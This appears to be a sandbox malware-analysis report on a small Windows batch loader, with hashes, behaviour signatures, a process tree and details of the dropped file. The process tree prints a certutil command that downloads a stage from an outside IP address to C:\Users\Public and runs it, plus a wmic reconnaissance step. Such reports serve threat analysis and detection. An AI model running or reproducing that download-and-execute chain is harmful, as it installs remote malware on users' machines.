Analysis
- max time kernel
148s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
28/09/2026, 12:30
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260911-en
windows10-2004-x64
9 signatures
150 seconds
General
- Target windows.bat
- Size 505B
- Sample260928-ppmlgsty7p
- SHA256 e9649fbe4c83efe5321a4111d83c0ffc50b6b508d7e165c12bd1ac91ccc8f6e4
- MD5 1620496e240bb7a1d6ba53db18539807
- SHA1 a337fb67f16d07c5e4478136f6d7231c0e4ae7ba
- SHA512 acbf4876c45958cd42b7fbccc1c6799468403239aa48463c56116ad8bf93981219e86f52ca72450566d86b85d04f48c2cd57752baff621a3be88c4a1fb84b4a2
- TLSH T12BF0598D242B0CF117CEC81374817CCDA18E44C946B0D5486D8361DF1D861DAAEBB7A6
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Downloads MZ/PE file 2 IoCs
flow pid Process 5 3916 certutil.exe 7 3916 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 3632 79d1174dws.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4120 cmd.exe 1512 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname 79d1174dws.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain 79d1174dws.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1152 WMIC.exe 1152 WMIC.exe 1152 WMIC.exe 1152 WMIC.exe - Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1152 WMIC.exe Token: SeSecurityPrivilege 1152 WMIC.exe Token: SeTakeOwnershipPrivilege 1152 WMIC.exe Token: SeLoadDriverPrivilege 1152 WMIC.exe Token: SeSystemProfilePrivilege 1152 WMIC.exe Token: SeSystemtimePrivilege 1152 WMIC.exe Token: SeProfSingleProcessPrivilege 1152 WMIC.exe Token: SeIncBasePriorityPrivilege 1152 WMIC.exe Token: SeCreatePagefilePrivilege 1152 WMIC.exe Token: SeBackupPrivilege 1152 WMIC.exe Token: SeRestorePrivilege 1152 WMIC.exe Token: SeShutdownPrivilege 1152 WMIC.exe Token: SeDebugPrivilege 1152 WMIC.exe Token: SeSystemEnvironmentPrivilege 1152 WMIC.exe Token: SeRemoteShutdownPrivilege 1152 WMIC.exe Token: SeUndockPrivilege 1152 WMIC.exe Token: SeManageVolumePrivilege 1152 WMIC.exe Token: 33 1152 WMIC.exe Token: 34 1152 WMIC.exe Token: 35 1152 WMIC.exe Token: 36 1152 WMIC.exe Token: SeIncreaseQuotaPrivilege 1152 WMIC.exe Token: SeSecurityPrivilege 1152 WMIC.exe Token: SeTakeOwnershipPrivilege 1152 WMIC.exe Token: SeLoadDriverPrivilege 1152 WMIC.exe Token: SeSystemProfilePrivilege 1152 WMIC.exe Token: SeSystemtimePrivilege 1152 WMIC.exe Token: SeProfSingleProcessPrivilege 1152 WMIC.exe Token: SeIncBasePriorityPrivilege 1152 WMIC.exe Token: SeCreatePagefilePrivilege 1152 WMIC.exe Token: SeBackupPrivilege 1152 WMIC.exe Token: SeRestorePrivilege 1152 WMIC.exe Token: SeShutdownPrivilege 1152 WMIC.exe Token: SeDebugPrivilege 1152 WMIC.exe Token: SeSystemEnvironmentPrivilege 1152 WMIC.exe Token: SeRemoteShutdownPrivilege 1152 WMIC.exe Token: SeUndockPrivilege 1152 WMIC.exe Token: SeManageVolumePrivilege 1152 WMIC.exe Token: 33 1152 WMIC.exe Token: 34 1152 WMIC.exe Token: 35 1152 WMIC.exe Token: 36 1152 WMIC.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4120 wrote to memory of 1512 4120 cmd.exe 89 PID 1512 wrote to memory of 1152 1512 cmd.exe 90 PID 1512 wrote to memory of 240 1512 cmd.exe 91 PID 4120 wrote to memory of 3916 4120 cmd.exe 93 PID 4120 wrote to memory of 3632 4120 cmd.exe 94
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4120 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1152
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:240
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://111.230.151.240:8084/?h=111.230.151.240&p=8084&t=ws&a=w64&stage=true" "C:\Users\Public\79d1174dws.exe"2⤵
- Downloads MZ/PE file
PID:3916
-
-
C:\Users\Public\79d1174dws.exe"C:\Users\Public\79d1174dws.exe"2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
PID:3632
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\79d1174dws.exe
- Size 4KB
- SHA256 372afc1fcc7bbc499b2358ca03a5a0aac72996f5818bcae11a779b3f9375ee77
- MD5 551afa503ac9575bbe8be1c8cbbe2319
- SHA1 822133cf041ea9f52c2fb6c22ca8f4037dd53493
- SHA512 ed6624495e00632833dc52c240deccba87291f8e004e4fe68433d3f8c52338ca72553d70df86c408d6d78a7d7da07e97102c57ffeb0a2e6b9d30c6391737bdd1
- SSDEEP 48:6IIF9BlQaex3gZS7An0cF5uduvxRxUjbON9XM/ge93ahr0/:y9BOaMa70cF50uDxUOvXeg
- TLSH T18891C44270B989E7E85C41BF4C0FB8A0B91DB40A41C483A60338A5993E3A52BF47CB0E
- MD5 SHA1 SHA512 SSDEEP TLSH